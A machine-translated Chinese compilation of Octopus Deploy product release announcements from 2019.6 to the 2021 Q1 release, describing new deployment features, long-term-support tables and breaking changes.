Octopus 现在可以通过利用来自源代码提交和构建过程的元数据来确定环境中的新内容，从而生成发行说明。它可以向您显示自上次部署以来哪些问题和更改是新的。你甚至可以在 Slack 上与你的团队分享，或者通过电子邮件发送给你的客户。与工作项跟踪一样，我们支持 GitHub 问题、吉拉问题，对 Azure DevOps 的支持即将推出。
对 C#、F#、Bash 和 Python 的脚本模块支持
我们在所有支持语言中增加了对脚本模块的支持。现在，您可以集中管理常见的 Bash、C#、F#和 Python 脚本函数，甚至可以看到哪些项目正在使用这些脚本模块。
Linux 触手早期访问
这个版本还包括我们即将推出的 Linux 触手的早期访问。 Octopus 3.0 引入了对 SSH 上的 Linux 部署的支持；但是，在高度安全的环境中，不能在生产服务器上打开入站端口。我们的 Linux 触手代理解决了这个安全问题，它支持 Octopus 服务器和 Linux 部署目标之间在监听和轮询模式下的通信。轮询模式特别消除了对开放端口的需求，因为轮询触手与 Octopus 服务器建立了通信。
我们喜欢反馈，所以请在#linux-tentacle频道中加入我们的社区松弛的讨论。
重大变化
此版本包括一些小的突破性变化:
- 由
Octopus.Server.exeshow-configuration命令返回的输出格式有一些的细微变化。这不太可能影响团队，但是如果您使用它来驱动自动化，请在升级之前测试新版本。 - 为了支持一些拥有用户共享电子邮件地址的活动目录配置的客户，我们已经取消了对用户电子邮件的唯一性限制。
- 机器策略的健康检查属性已经改变以适应 Linux 触手。
TentacleEndpointHealthCheckPolicy更名为PowerShellHealthCheckPolicy,SshEndpointHealthCheckPolicy更名为BashHealthCheckPolicy。任何创建机器策略的自定义工具都应该使用新的属性名称。 - 在 SSH 健康检查策略上配置的
OnlyConnectivity选项现在是一个策略范围的设置。该设置通常用于 SSH 目标上的原始脚本。如果您使用此设置，将在 Octopus 服务器升级期间创建新的机器策略。
包扎
八达通服务器 2019.6 已经到来，你可以指望它。长期部署愉快！
Octopus Deploy 2019.8 -简化的部署流程编辑器、租户克隆等...-章鱼部署
Octopus Deploy 2019.8 现已推出。
最明显的变化是对部署流程编辑器的改进，但还有许多其他增强，所有这些都来自用户请求。希望在这个版本中有适合每个人的东西。
简化的部署流程编辑器
2019.8 在部署流程的各个步骤之间导航时带来了更好的体验:
此更新提供了两个主要优势:
- 可见性:您现在可以在编辑一个步骤时看到整个过程。这在引用脚本或变量中的其他步骤名称时特别有用。
- 可用性:在部署步骤之间跳跃以前可能是痛苦的，特别是对于有许多步骤的过程。这一改变有望节省一些宝贵的时间(并减少鼠标的磨损)。
这代表了我们的部署流程编辑器改进的第一次迭代，我们希望您在评论中提供反馈。
克隆租户
说到节省鼠标点击，现在可以克隆租户了。创建一个新的租户、应用相关的标记、将它链接到适当的项目和环境，以及输入变量值可能会很繁琐，但是您现在可以通过克隆一个现有的租户来跳过这个过程。
更多运行状况检查计划选项
以前，您只能在计算机策略中配置运行状况检查的时间间隔。Octopus 2019.8 带来了提供 cron 表达式或配置健康检查不运行的能力。
覆盖所有 Kubernetes 步骤类型中可用的名称空间
虽然升级 Helm Chart 步骤允许指定名称空间，但是其他 Kubernetes 步骤总是使用 Kubernetes 部署目标的名称空间。从 Octopus 2019.8 开始，所有 Kubernetes 步骤类型都可以通过直接在步骤上指定目标名称空间来覆盖目标名称空间。
滚动部署现在可以包括部署发布步骤
滚动部署现在可以包括部署发布步骤。以前，滚动部署排除了这种步骤类型，但是正如你们中的许多人所指出的，在某些情况下这是有意义的。
新的变量筛选表达式
我们添加了一些新的变量过滤器来帮助切片和切块变量值:
TrimSubstringTruncateUriEscapeUriDataEscape
例如，给定一个值为Octopus Deploy的变量Application
#{ Application | Substring 7}
将评估为Octopus
复制并粘贴以添加证书
以前，将证书上载至八达通证书库需要选择证书作为档案。当 base64 或 PEM 表示位于您的剪贴板上时，这一要求很不方便。
现在，在存储证书时，可以将其直接粘贴到门户中。
升级
和往常一样，请按照升级 Octopus Deploy 的正常步骤操作。更多信息请参见发行说明。
自托管八达通客户通过安装八达通服务器 2019.8 ，今天就可以开始使用这些功能。注意
2019.8是没有长期支持的快速通道发布。该功能集将包含在 2019 年第三季度末的下一次LTSOctopus 发布中。Octopus Cloud 客户将在其维护窗口的大约 2 周内开始接收最新的 bits。
包裹
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法。
愉快的部署！
八达通服务器 2019.9 与长期支持(LTS) -八达通部署
Octopus Deploy 2019.9 LTS现在可用于运行 Octopus Deploy 自托管的团队，我们向这些客户推荐这个版本。我们的长期支持(LTS)计划包括提供六个月支持的版本，包括关键错误修复和安全补丁。LTS 版本不包括新功能、次要增强或次要错误修复；这些都包含在下一个 LTS 版本中。
下表显示了我们当前的 LTS 版本。不再支持 Octopus 2019.3，我们建议该版本的客户升级到较新的版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 章鱼 2019.9 | 是 |
| 八达通 2019.6 | 是 |
| 章鱼 2019.3 | 期满 |
请继续阅读，了解此版本中的内容以及任何重大变化。
在这篇文章中
简化的部署流程编辑器
我们改进了部署流程编辑器，以更好的可视性简化编辑流程。现在您可以看到整个部署过程，这在引用脚本和变量中的其他步骤名称时非常有用。这也应该使浏览步骤更快，点击更少，滚动更少。
用于 Linux 的触手
这个版本包括对我们 Linux 本地触手代理的支持。这使得团队能够在不可能打开端口 22 的安全环境中部署 Linux 服务器。触手支持 Octopus 服务器和部署目标之间在监听和轮询模式下的安全通信。在轮询模式下，触手代理联系 Octopus 服务器并根据需要执行部署工作，包括检索应用程序包和部署脚本。
Tentacle for Linux 为在高度安全的环境中部署 Linux 的团队提供了更大的灵活性。
租户克隆
创建和配置租户可能非常耗时，因为它涉及到链接项目和环境、添加标记以及输入所有必需的变量值等多个步骤。幸运的是，这个过程现在简单多了，因为您可以克隆一个租户，而不是手动执行所有这些步骤。然后，您可以根据需要更新新租户。
其他改进
- 添加了健康检查计划选项，以便它们可以配置为在 cron 表达式上运行，或者从不运行。
- 增加了对 Kubernetes 步骤中覆盖名称空间的支持。
- 新增变量过滤表达式，包括
Trim、Substring、Truncate、UriEscape、UriDataEscape。 - 添加了对作为文本粘贴到证书的支持以直接在门户中添加证书。
重大变化
这个版本包括一个突破性的变化，因为 Octopus 服务器不再支持 Windows Server 2008 SP2 。
包扎
Octopus Server 2019.9 现已推出，您可以依赖它。长期部署愉快！
章鱼 2020.1:黑暗模式和更好的 Linux 支持-章鱼部署
https://www.youtube.com/embed/xJqjn4s2VCI
VIDEO
我们很自豪地推出 Octopus 2020.1，这是我们今年的第一个版本，有一些很好的更新和好处。
此版本是 2020 年六个版本中的第一个版本，包括 6 个月的长期支持。下表显示了我们当前提供长期支持的版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 八达通 2020.1 | 是 |
| 章鱼 2019.12 | 是 |
| 章鱼 2019.9 | 是 |
| 八达通 2019.6 | 期满 |
请继续阅读，了解更多更新信息。
黑暗模式
https://www.youtube.com/embed/ZMM8BowrUjQ
VIDEO
开发人员和运营人员喜欢黑暗模式，我很高兴地分享 Octopus 现在支持黑暗模式。这是一个很酷的功能，但它也更容易对眼睛，有助于减少眼睛疲劳，看起来很棒。😎
Octopus 支持检测您的操作系统是否运行黑暗模式，并且可以自动切换。我强烈建议打开它进行试驾。
Octopus 和 Octopus CLI 现在在 Linux 和 macOS 上更加得心应手
Octopus 的目标是为多个平台提供世界级的支持，包括 Windows 机器、Linux 机器和流行的云服务。这个版本包括两个变化，让 Octopus 在 Linux 和 macOS 上感觉更自在。
Octopus CLI 可通过家酿、APT 和 YUM 获得
Octopus CLI，以前称为octo.exe，是一个方便而强大的工具，它使团队能够从命令行与 Octopus 进行交互。现在可以通过以下平台和软件包库快速轻松地进行安装:
- 巧克力 homebrew apt yum docker
- 新增加的是 Homebrew、APT 和 YUM，这样使用 macOS 和 Linux 的团队可以以更自然的方式利用这一点。
- 看看吧
- AWS 和 Azure 部署可以在 Windows 和 Linux 机器上工作
Octopus 包括许多流行的 step 模板，可以部署到 AWS 和 Azure 云基础设施。这些步骤现在可以在 Windows 和 Linux 目标/工作者上无缝地执行。此外，我们的 Kubernetes 步骤现在还可以在 Windows 和 Linux 目标/工作者上使用 Octopus 中的 AWS 和 Azure 帐户进行身份验证。
这一改进很小，但意义重大，可以确保团队能够在其选择的平台上执行云部署和操作手册。
注意:Azure Web Apps、云服务和 Service Fabric 步骤仍然是仅 Windows。
了解更多信息:
特定于环境和租户的工作人员池
工作人员使团队能够将部署工作从 Octopus 服务器转移到池中运行的其他机器上。您可以创建一个专门的工作人员池，用于多个项目和团队的特定部署工作。常见的例子有数据库部署和云服务部署。
在 Octopus 2020.1 中，我们增加了对工人池变量的支持，从而能够按环境或租户来确定工人池的范围。例如，您可以有一个专门用于开发和测试环境部署的数据库部署工作池，以及一个专门用于生产环境部署的更大的池。
这一更新是一个受欢迎的客户要求，我们很高兴能运送它。
重大变化
这个版本包括两个突破性的变化。
Octopus Server 最低要求——我们将运行 Octopus Server 的最低要求提高到 Windows Server 2012 R2 和 SQL Server 2017。
库变量集权限变更——你现在可以将存储在库变量集中的变量限定到环境和租户，给你细粒度的访问控制和更一致的权限。
还需要注意的是，Octopus 服务器已经被移植到。NET Core 3.1，因此它不再需要。要安装的. NET Framework。
升级
- 章鱼云用户已经在运行这个版本，自托管的章鱼客户现在就可以下载最新版本。
- 像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发行说明。
章鱼 2020.2 里会有什么？
查看我们的公共路线图看看接下来会发生什么。我们即将开始开发一些令人难以置信的新功能，包括深度 git 集成、将管道解锁为代码。
结论
Octopus 2020.1 包括黑暗模式、跨平台 Azure 和 AWS step 模板、Homebrew、APT 和 YUM 包存储库上的 Octopus CLI 以及新的 worker pool 变量。这一版本是今年的一个良好开端，我们正在努力继续推出一款优秀的产品。
欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
相关职位
结论
Octopus 2020.1 包括黑暗模式、跨平台 Azure 和 AWS step 模板、Homebrew、APT 和 YUM 包存储库上的 Octopus CLI 以及新的 worker pool 变量。这一版本是今年的一个良好开端，我们正在努力继续推出一款优秀的产品。
欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
相关职位
Octopus 2020.2:工人的执行容器- Octopus Deploy
我们很高兴推出 Octopus 2020.2，这是我们今年的第二个版本。以下是此版本中包含的有用更新和优势:
该版本是 2020 年六个版本中的第二个版本，包括六个月的长期支持。下表显示了我们当前提供长期支持的版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 章鱼 2020.2 | 是 |
| 八达通 2020.1 | 是 |
| 章鱼 2019.12 | 是 |
| 章鱼 2019.9 | 期满 |
| 八达通 2019.6 | 期满 |
请继续阅读，了解更多更新信息。
工人的执行容器
Octopus 2018.7 引入了工人，他们帮助团队将部署工作从 Octopus 服务器转移到工人池中运行的其他机器上。工作人员的常见场景包括数据库部署和云部署，在这些场景中，您可以为特定目的创建一个工作人员池。工作池还可以根据您的需求确定环境的范围。
在这个版本中，我们添加了对在 workers 上的隔离容器中执行部署工作的支持，并且我们提供了一组用标准部署工具引导的官方容器映像。
以前，您需要确保工作池(包括内置工作池)中的计算机拥有部署所需的必要工具，并且您需要维护它们的操作系统和工具版本。如果不同的团队需要不同版本的特定工具，而这些工具又不能同时安装，那么这种方法也会有问题。此外，Octopus 捆绑了一些工具，但让它们保持最新仍然是一个挑战。
工人的执行容器解决了这个问题以及更多问题。
- 隔离并快速执行部署工作。 Octopus 正在使用 Docker 在容器的上下文中执行您的脚本或其他部署工作。该方法在完全隔离的情况下提供快速有效的执行。
- 通过预建的 Octopus 工具容器映像 简化依赖管理。现在，确保您使用部署所需的工具的正确版本所需的摩擦少得多。
我们预先构建的映像包括对 Windows 2019 和 Ubuntu 18.04 的跨平台支持，您可以根据主要版本、次要版本或特定补丁版本选择latest映像标签或特定版本。我们正在启动预装了以下工具的映像。
- Powershell 核心
- 。NET Core SDK (3.1 LTS 版)
- Java SDK
- Azure CLI
- Az Powershell 核心模块
- AWS CLI
- 节点. js
- 库贝特尔
- 舵 3
- 将（行星）地球化（以适合人类居住）
- 计算机编程语言
- Azure 功能核心工具
- 谷歌云 CLI
- 脚本(仅窗口)
- F#(仅限 Windows)
还可以根据您团队的确切需求构建容器映像。例如，您可以使用以下命令用特定版本的 kubectl 构建一个定制的映像:
docker build -t my-company/worker-tools --build-arg Kubectl_Version=X.Y.Z MyDockerFile
与吉拉服务台集成的变更管理
在 Octopus 2020.2 中，我们通过吉拉服务台云提供了对集成变更管理的初始支持。现在，通过我们新的吉拉服务台变更请求步骤，可以在部署期间自动创建变更请求。
这种集成与我们的 Octopus Deploy for 吉拉插件一起工作，并需要 ITSM 早期访问。有关在您的 ITSM 项目中配置 Octopus Deploy 集成的更多信息，请参见 Atlassian 的文档。
这个特性是一个更重要的变更管理特性集的第一部分，所以我建议在我们的公共路线图上注册更新，以获得关于这个特性的更多信息。
注意:Octopus Deploy 插件仅兼容吉拉云和吉拉服务台云，因为我们所依赖的 API 仅在吉拉云中可用。当这些 API 在吉拉服务器中可用时，这个扩展也可以在那里工作。
更好的运行条件
运行条件允许您自定义部署过程中的每个步骤，以便更好地控制步骤的执行。此版本增加了对滚动部署和机器级运行条件的支持。
滚动部署可变运行条件
现在可以在滚动部署中向子步骤添加可变的运行条件。此更新为滚动部署增加了更大的灵活性，并允许您根据自己的特定需求自定义部署过程。
例如，如果您在滚动部署中将 web 服务更新部署到 web 场，您可以在更新步骤之后对服务进行完整性测试，并将服务状态设置为输出变量。在后续步骤中，如果服务状态为正，运行条件可变，则可以将其添加回 web 场。以前，这是不可能的。
机器级可变运行条件
变量运行条件的另一个新特性是支持机器级变量。上面的滚动部署示例也强调了这一改进。在本例中，服务状态输出变量是一个机器级别的变量，因为它特定于单个机器。可以在标准(线性)或滚动部署中设置和解析机器级别的变量。
在我们更新的代码编辑器中快速查找变量
我们还添加了一个方便的快捷方式来快速插入变量，而不需要单击变量查找按钮。
键入Control + Space获得一个支持模糊搜索的快速变量查找菜单。使用箭头键选择合适的变量，然后按下Enter。一旦你习惯了，这个简单的更新是非常有用的。
今天就试试吧！
重大变化
Octopus 2020.1 引入了更新了运行 Octopus Server 到 Windows Server 2012 R2 和 SQL Server 2017 的最低要求。此版本现在强制执行 SQL Server 的最低要求。
升级
八达通云用户已经在运行这个版本，自主托管的八达通客户现在可以下载最新版本。
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发行说明。
章鱼 2020.3 里会有什么？
查看我们的公共路线图，了解接下来的内容并注册更新。我们已经在开发我们的 Config as Code 特性集，看起来不错。
结论
章鱼 2020.2 来了，它带来了一些不错的改进。面向员工的执行容器和与吉拉服务台集成的变更管理是这些简化部署和发布管理的功能集的第一步。
欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
相关职位
Octopus 2020.3: Runbooks++、Jenkins Pipelines 和 Octopus Linux Docker image-Octopus Deploy
我们很高兴推出 Octopus 2020.3，这是我们今年的第三个版本。这个版本包括一些伟大的更新，以改善您的日常八达通体验。
- runbook 改进:该版本包括一批客户驱动的改进，包括 runbook 专用项目、Octopus CLI 支持、环境范围界定、每个 runbook 的指导性故障模式，以及添加 run book 保留策略。
- Jenkins Pipelines 支持使您能够从您的
Jenkinsfile与 Octopus 集成。 - Streamlined process editor 允许您一次编辑多个步骤，并通过一次更新保存您的更改。
- Octopus Linux Docker 镜像(早期访问)现已可用，使得在 Linux Docker 容器中运行 Octopus 成为可能。
这个版本是 2020 年六个版本中的第三个，包括六个月的长期支持。下表显示了我们长期支持的当前版本:
| 释放；排放；发布 | 长期支持 | LTS 结束日期 |
|---|---|---|
| 八达通 2020.3 | 是 | 2021-01-20 |
| 章鱼 2020.2 | 是 | 2020-09-31 |
| 八达通 2020.1 | 是 | 2020-08-24 |
| 章鱼 2019.12 | 期满 | 2020-07-14 |
请继续阅读，了解更多更新信息。
运行手册
我们在 Octopus 2019.11 中首次提供了 Runbook 自动化支持，这是我们有史以来增长最快的功能之一！我们对使用水平感到兴奋，并积极听取您的反馈。在这个版本中，我们发布了几项客户驱动的改进，以更好地使用 runbooks。
仅 Runbook 项目
Octopus 现在支持更干净的 runbook-only 项目风格，并且 UI 反映了这一点。以后仍然有可能将部署添加到项目中，但是这使得更关注操作的项目变得更容易。如果您的项目只包含 runbooks，则应用此样式。
要激活仅运行手册项目样式，请创建一个新项目，并添加至少包含一个步骤的运行手册。那么项目的部署部分将会折叠。
Octopus CLI 支持
【T2 
我们已经更新了 Octopus CLI，添加了一个run-runbook命令，以便在您选择的平台上从命令行和脚本执行您的操作手册。
Runbook 运行设置
我们添加了新的 runbook 运行设置，以实现对 runbook 执行的更高级控制:
- 环境范围:你可以选择运行手册的环境。
- 每个操作手册的引导故障:您可以自定义每个操作手册的引导故障设置。这意味着您可以选择是否使用引导式故障模式，使用目标环境中的默认设置，或者始终使用引导式故障模式。
- Runbook 保留策略:您还可以控制您的 runbook 保留，以便更好地管理它们的执行工件和清理。
詹金斯管道公司
我们已经更新了我们的 Jenkins 插件，增加了对从您的Jenkinsfile集成 Octopus 的支持。以前，您需要使用 Octopus CLI 自动完成这项工作，但是现在已经支持开箱即用了。语法更加简洁明了。
简化流程编辑器
作为我们的 Config as Code 特性的一部分，我们已经更新了我们的流程编辑器，使您的部署和操作手册更容易自动化。现在，您可以编辑整个流程，包括更新多个步骤，并通过单击保存所有更改。以前，您需要一次保存一个更改，这对于较大的更新来说是令人沮丧的。这是不再需要的，因为八达通现在跟踪你所有的变化，并允许你只保存一次。
亲自尝试一下，我想你会发现这是一种自然得多的编辑体验。
Octopus Linux Docker 映像(早期访问)
【T2 
去年，我们将 Octopus 云服务从基于 Windows 的虚拟机转移到运行在 Kubernetes 上的基于 Linux 的容器中。我们进行这种改变是为了降低运行成本，提高服务的性能和可伸缩性。这个解决方案已经运行了将近 12 个月，我们对结果非常满意。
我们为自己做了这种转变，但我们也设想我们的客户用我们的 Docker 图像自托管 Octopus。因此，我们很高兴地宣布提前访问我们的 Octopus Deploy Docker 映像，这些映像基于支持 Octopus Cloud 的相同代码。这些映像允许 Linux 用户在他们选择的操作系统上自托管 Octopus。
查看我们的 DockerHub 库开始吧，我强烈推荐您点击了解更多链接，找到更详细的说明和完整的示例。
注意:我们的 Docker 图片是早期版本；我们预计会有一些错误和粗糙的边缘，我们不支持这个版本用于生产部署。也就是说，我们渴望得到反馈，因此如果有任何意见或问题，请耐心等待并联系我们的支持团队。
重大变化
这个版本包括两个突破性的变化。
- 我们已经否决了我们的 Azure VM 扩展，我们建议使用 PowerShell DSC 作为替代。我们的文档介绍了这一决定，并链接到关于如何使用 PowerShell DSC 实现这一点的更多文章。参见下面的相关文章了解如何使用 Amazon Web Services 完成这项工作。
- 我们已经更新了我们的部署到 IIS 步骤，删除了对部署到 Azure 应用服务的支持。我们建议使用我们的 Azure support 来代替。
升级
章鱼云用户已经在运行这个版本，自主托管的章鱼客户现在可以下载最新版本。
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息，请参见发行说明。
章鱼 2020.4 有什么新内容？
查看我们的公共路线图看看接下来会有什么，并注册更新。随着代码进展顺利，我们正在增加对 YAML、XML 和 application.properties 配置文件更新的更好支持，并且我们正在增加对 Octopus Cloud 上内置 Linux Workers 的支持。
结论
Octopus 2020.3 现已正式发布，它包括一些改进，使团队更容易构建自动化部署和 runbook 流程、Jenkins 管道支持等。我们希望你喜欢它！
欢迎发表评论，让我们知道你的想法！愉快的部署！
相关职位
八达通 2020.4 现已推出-八达通部署
我很高兴地告诉大家，我们已经推出了 Octopus 2020.4。这个版本集合了一些已经开发了一段时间的特性。总之，它们使团队更容易在 Windows 和 Linux 上部署和维护用 Java、NodeJS、Python、Ruby 等编写的 web 应用程序和服务。
更好的 Java、NodeJS、Ruby 等配置文件更新 :是对我们的 JSON 配置变量替换支持的更新，使其更加有用。它现在支持 JSON、YAML、XML 和 Java 属性文件。对于许多平台来说，这是一个巨大的进步，但对于用 Java 构建应用程序的团队来说，这尤其有价值。
章鱼云:内置 Windows 和 Linux 的工人池，更简单的依赖管理 。Octopus Cloud 提供动态工作器来针对您的服务和基础设施执行脚本。此更新增加了对现代 Windows 和 Linux 操作系统映像的更好的跨平台支持。所有工作映像都支持执行容器，这使您可以独立地执行部署工作，而无需管理依赖项和容器。
该版本是 2020 年六个版本中的第四个版本，包括六个月的长期支持。下表显示了我们长期支持的当前版本:
| 释放；排放；发布 | 长期支持 | LTS 结束日期 |
|---|---|---|
| 八达通 2020.4 | 是 | 2021-03-21 |
| 八达通 2020.3 | 是 | 2021-01-20 |
| 章鱼 2020.2 | 是 | 2020-09-30 |
| 八达通 2020.1 | 期满 | 2020-08-24 |
请继续阅读，了解更多更新信息。
针对 Java、NodeJS、Ruby 等的更好的配置文件更新
Octopus 最强大的特性之一是，当您将应用程序升级到生产环境时，它可以自动更新您的配置文件。过去，它支持许多微软配置文件格式，主要是微软特定的 XML 转换和。NET 配置文件，以及一些通用方法，如 JSON 支持和令牌替换。这太棒了。但是，如果没有使用 XML 或 JSON 文件，就需要在配置文件中插入和维护标记。
在此版本中，我们引入了结构化变量替换，它支持几乎所有现代配置文件格式，包括:
- YAML
- JSON
- 可扩展标记语言
- Java 属性文件
对于其他配置文件格式，我们的令牌替换支持，通过替换文件中的变量特性，已经覆盖了您。
用我们的结构化变量替换来更新配置文件的好处是，它是自动的和基于约定的。配置一次，Octopus 会自动更新配置设置，使其名称与您的项目变量相匹配。这个特性的神奇之处在于，您可以将您的变量扩展到环境中，因此将版本部署到开发、测试、试运行和生产环境中是可重复且可靠的。
这个更新使得为 Java 应用程序配置自动化部署变得更加容易，比如 Spring web apps 和 services、用 Python 编写的 web 应用程序、NodeJS 服务、Ruby on Rails web 应用程序等等。
Octopus Cloud:内置的 Windows 和 Linux 工作池，以及更简单的依赖管理
Octopus 2020.4 现在包括内置的工人池，具有运行现代 Windows 和 Linux 映像的动态工人，包括对执行容器的完全支持。
Workers 使您能够在池中运行的机器上运行 DevOps 自动化工作，用于特定目的，如执行脚本和部署到 Kubernetes，与 Azure 或 AWS 等云平台交互，以及数据库管理。您可以创建一个专门的员工库，供多个项目和团队使用。它们是扩展您的部署和操作手册的绝佳工具。
更多信息参见我们的文档。
内置的 Windows 和 Linux 工作池
Octopus Cloud 提供内置的工作池，允许您针对您的服务和基础架构执行脚本，而无需管理您自己的虚拟机或其他计算资源。这简化了针对云平台、数据库或 Kubernetes 集群执行自动化脚本、部署或 runbook 的能力。
在 Octopus 2020.4 中，我们通过提供运行现代 Windows 和 Linux 操作系统的内置工人池，改进了对动态工人的跨平台支持:
- Windows 2019
- Ubuntu 18.04
章鱼云推出时对 Windows 2016 的支持仍然可用，我们现在的重点是支持更现代的操作系统向前发展。
工作线程是虚拟机，使用基本工具进行引导，包括:
- 码头工人
- 尝试
- PowerShell 核心
- 计算机编程语言
- Octopus CLI
如果您需要额外的工具，您可以将它们作为脚本的一部分进行安装，或者使用您自己的机器构建您自己的客户工人池。
工人的执行容器
【T2 
通过这次更新，我们的 workers 执行容器特性现在对每个人都可用。这个特性允许您在隔离的容器中对 workers 执行自动化工作，并减少管理自动化工具和依赖项的需要。
以前，您需要确保您的工人池中的机器(包括动态工人)拥有自动化流程所需的必要工具，并且您需要维护它们的操作系统和工具版本。如果不同的团队需要不同版本的特定工具，而这些工具又不能同时安装，那么这种方法也会有问题。Octopus 捆绑了一些工具，但让它们保持最新仍然是一个挑战。
工人的执行容器使这变得更容易。
- 隔离并快速执行部署工作。Octopus 使用 Docker 在容器的上下文中执行您的脚本或其他部署工作。该方法在完全隔离的情况下提供快速有效的执行。
- 简化的依赖关系管理使用预构建的 Octopus 工具容器映像。现在，确保您使用部署所需的工具的正确版本所需的摩擦少得多。
Octopus Deploy 现在支持使用 Octopus 服务器和 Octopus Cloud 托管的本地执行容器。我们发布并维护了一组官方容器映像，这些映像是用通用工具引导的，也可以扩展和定制这些映像来满足您团队的需求。
重大变化
这个版本不包括任何突破性的变化。
升级
章鱼云用户已经在运行这个版本，自托管的章鱼客户现在就可以下载最新版本。
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发布说明。
章鱼 2020.5 里会有什么？
查看我们的公共路线图看看接下来会有什么，并注册更新。也就是说，我们计划以代码早期访问预览(EAP)的形式发布我们的配置，请继续关注更多相关信息。
结论
Octopus 2020.4 现已全面上市，它包括改进的配置文件更新，对 Octopus Cloud 更好的跨平台支持，包括对工人执行容器的支持。我们希望你喜欢它！
欢迎发表评论，让我们知道你的想法！愉快的部署！
相关职位
八达通 2020.5:坚实的改进和配置作为代码更新-八达通部署
我很高兴地告诉大家，八达通 2020.5 现已推出。这个版本有一些坚实的改进；然而，这是一个更安静的版本，因为我们正在为我们的 Config as Code 特性做大量的幕后工作。
Octopus 2020.5 是 2020 年六个版本中的第五个，它包括六个月的长期支持。下表显示了我们长期支持的当前版本:
| 释放；排放；发布 | 长期支持 | LTS 结束日期 |
|---|---|---|
| 章鱼 2020.5 | 是 | 2021-05-30 |
| 八达通 2020.4 | 是 | 2021-03-21 |
| 八达通 2020.3 | 是 | 2021-01-20 |
| 章鱼 2020.2 | 期满 | 2020-09-30 |
| 八达通 2020.1 | 期满 | 2020-08-24 |
在证书库中创建自签名证书
创建用于开发和测试目的的自签名证书并不复杂，但是 Octopus 现在让这变得快速而简单。现在，您可以在证书库( 库➜证书 )中创建自签名证书，并在您的自动化流程中利用它。此更新使得测试涉及证书的新的或更新的部署和操作手册的执行更加方便。如果您需要将证书用于命令行界面(CLI)、桌面应用程序或其他任务，也可以下载证书。
GitHub 容器注册支持
Octopus 现在支持GitHub container registry(GHCR)作为自动化部署和 runbook 流程的包源。我们在技术上已经支持 GHCR，但是，GitHub 没有实现 Docker 目录 API 来允许搜索产生混淆错误的存储库。我们现在更加优雅地处理这些不一致，因此您可以毫无问题地利用 GHCR 源。
Kubernetes 更新
这个版本包括两个小的更新，以改善我们的 Kubernetes 支持驱动的客户反馈。
在部署 Kubernetes 容器步骤中公开 envFrom 字段
Kubernetes 1.16 公开了envFrom属性，允许将 secret 或 configmap 的内容创建为环境变量。Octopus 现在支持envFrom字段，为部署中包含多个值提供了一种方式。
允许创建和部署 DaemonSets 和 stateful set
部署 Kubernetes 容器步骤允许 Octopus 在集群中创建 Kubernetes 部署。我们已经在 Octopus 门户网站中更新了这一步骤，以支持DaemonSets和StatefulSets，使其更加有用。
Terraform 更新
Octopus 现在支持 HCL2 和 Terraform 0.12+的内联脚本。这次更新意味着你可以在 Octopus 门户网站中获得丰富的现代 Terraform 脚本语法高亮显示。
向自动化步骤添加标记注释
现在，您可以使用 markdown 注释来注释您的 DevOps 自动化流程。向任何部署或操作手册步骤添加基于文本的注释，并提供 markdown 格式支持，流程摘要将显示该注释。
这种改变有助于您的未来自己和其他团队成员快速理解复杂的自动化过程。
配置为代码更新
我们想在 2020 年 11 月分享我们的 Config as Code 功能的预览，但它还没有准备好。我们低估了一些核心组件需要多长时间来构建，而且这个特性是一个非常棘手的增量发布特性。
幸运的是，我们正在取得出色的进展，我们已经完成了整体特性的一些重要部分。
- 配置项目以使用 git 存储库。
- 在 Octopus 门户网站中切换分支，查看和编辑不同分支上的部署流程。
- 可以提交更改，包括添加提交消息。
- 生成的配置以基于 HCL 的格式存储在 git 中。
- 可以在创建发布时指定分支，选择要使用的部署过程的版本。这将最终支持选择标签或提交。
有什么突出的？简短的回答是很多小事。从数据库中移走一大块 Octopus，它有单一版本、索引、外键等。，到一个带有文本文件和无限分支的 git 存储库，留下了许多遗留问题。
单击下面的“了解更多”链接，了解更多关于设计和构建我们的 config as 代码支持的因素。我们明确地指出了几个我们有意避免的反模式。
重大变化
这个版本包括两个突破性的变化。
- 导入带有文件包引用的操作模板现在将验证提要 Id。这一变化意味着需要 Feed 查看权限才能导入带有包引用的操作模板。
- Octopus Cloud 增加了记录一些指标的能力，这样我们就可以进行性能调优。这项功能已经不再使用，我们已经删除了这一支持。我们已经更新了 Octopus DSC ，不再使用
LogTaskMetrics和LogRequestMetrics属性来反映这一点。
升级
章鱼云用户已经在运行这个版本，自托管章鱼客户现在就可以下载最新版本。
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发行说明。
章鱼 2020.6 里会有什么？
查看我们的公共路线图以了解接下来的内容并注册更新。
结论
Octopus 2020.5 现已正式推出，它包括一系列支持自签名证书的改进、Terraform 更新、Kubernetes 更新、自动化步骤注释，以及大量支持我们即将推出的 Config as Code 功能的幕后更改。
欢迎发表评论，让我们知道你的想法！愉快的部署！
相关职位
章鱼 2021 Q1:Linux 上的自宿主章鱼-章鱼部署
我们很高兴地宣布我们的第一个版本 2021。今年，我们将转变为季度节奏，发布四个 Octopus 服务器，而不是六个。
今年发布的产品有:
- Q1:八达通服务器 2020.6
- Q2:八达通服务器 2021.1
- Q3:八达通服务器 2021.2
- Q4:八达通服务器 2021.3
这次更新为 Linux 用户带来了两个激动人心的特性，允许您:
- 在 Linux 上自托管 Octopus 服务器。
- 在 ARM 和 ARM64 硬件上运行触手代理。
我们在 2020 年加入了 Linux 基金会，我们非常关心让 DevOps 自动化在 Windows 和 Linux 平台上都非常出色。Octopus Cloud 使用我们的 Linux Docker 映像为成千上万的客户提供部署支持。对于您的所有部署和 runbook 自动化来说，它是一个稳定而安全的平台，现在它也可供自主托管的客户使用。
这一版本还包括新的全球搜索和 API 密钥管理功能，使八达通服务器的所有用户受益。
包括在 Q1 版本中
- 八达通服务器 2020.6
- 触手 6.0.490
- Octopus 服务器 Docker 图像:
latest或octopusdeploy/octopusdeploy:2020.6
长期支持
下表显示了具有长期支持的 Octopus 服务器版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 八达通 2020.6 | 是 |
| 章鱼 2020.5 | 是 |
| 八达通 2020.4 | 期满 |
发布之旅
https://www.youtube.com/embed/RlpyOqjQffo
